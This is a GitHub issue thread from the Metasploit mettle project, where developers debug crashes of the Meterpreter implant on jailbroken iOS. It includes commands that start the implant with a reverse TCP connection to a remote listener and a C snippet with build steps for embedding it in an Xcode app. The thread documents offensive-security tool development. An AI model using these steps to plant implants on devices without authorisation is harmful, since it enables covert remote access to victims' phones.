rapid7 / mettle

This is an implementation of a native-code Meterpreter, designed for portability, embeddability, and low resource utilization.
421 stars 122 forks source link

a few things crash mettle on iOS 7.1.2 as root #66

Open busterb opened 7 years ago

busterb commented 7 years ago

These things work on macOS, but crash on my iPhone 4 with iOS 7.1.2:

webcam_* operations die with a SIGSEGV

iPhone:~ root# /tmp/mettle -u tcp://192.168.22.10:4444
2017-03-21 02:06:14.672 mettle[281:507] Warning: bundleIdentifer is nil!
Segmentation fault: 11

ps dies with a SIGKILL

iPhone:~ root# /tmp/mettle -u tcp://192.168.22.10:4444
Killed: 9
timwr commented 7 years ago

I have not tried as root yet. I was just adding the build/*-iphone-darwin/lib libraries to an xcode project and running it on a non-jailbroken device with this:

struct mettle *m = mettle();
if (m) {
        log_set_level(2);
        log_init_file(stderr);
        log_init_flush_thread();
        mettle_add_transport_uri(m, "tcp://IPADDR:4444");
        mettle_start(m);
        mettle_free(m);
}

On 9.3.4 the ps command fails with operation not permitted. On 7.1.2 it works fine. The webcam_ commands work on both.

doktordos commented 6 years ago

@timwr : Could you explain how you got mettle to work by simply adding the static libs? Did you also include the header files and what did you import in the bridging header? Thanks a lot in advance.

Btw. I'm trying my luck on iOS 11.3

timwr commented 6 years ago

@doktordos it's a bit fiddly, first build mettle make TARGET=aarch64-iphone-darwin then add: mettle/build/aarch64-iphone-darwin/include as a header path in xcode. Then you'll need to add all the .a files in mettle/build/aarch64-iphone-darwin/lib Finally, disable bitcode, and include CoreMedia, CoreImage, CoreGraphics and AVFoundation, and it should build. You can ping me metasploit.slack.com if you get stuck

timwr commented 6 years ago

e.g https://github.com/timwr/PhoenixNonce/commit/0892f71a2710a8848043f635af02fa8b14eed893 or https://github.com/timwr/metasploit-framework/commit/1a9bc74a81c7cf1b87da65e697b954b546ab9c5d

doktordos commented 6 years ago

@ timwr: The steps you described worked just fine and without your code snippet from above Xcode builds without any errors. But when I paste the snippet in Xcode it complains with the following error:

Implicit declaration of function 'mettle' is invalid in C99

I googled the error and this seems to be related to not finding the appropriate header files. Therefore I searched all files in "include" with notepad++ for the phrase "mettle" and got zero results. Am I missing some other header files or an import statement at the top of the actual code?

Attached you can find some screenshots: screen shot 2018-04-07 at 15 43 25 screen shot 2018-04-07 at 16 11 41 screen shot 2018-04-07 at 16 12 26 screen shot 2018-04-07 at 16 12 45

timwr commented 6 years ago

You need to include mettle.h Join slack, GitHub isn't the best place for support.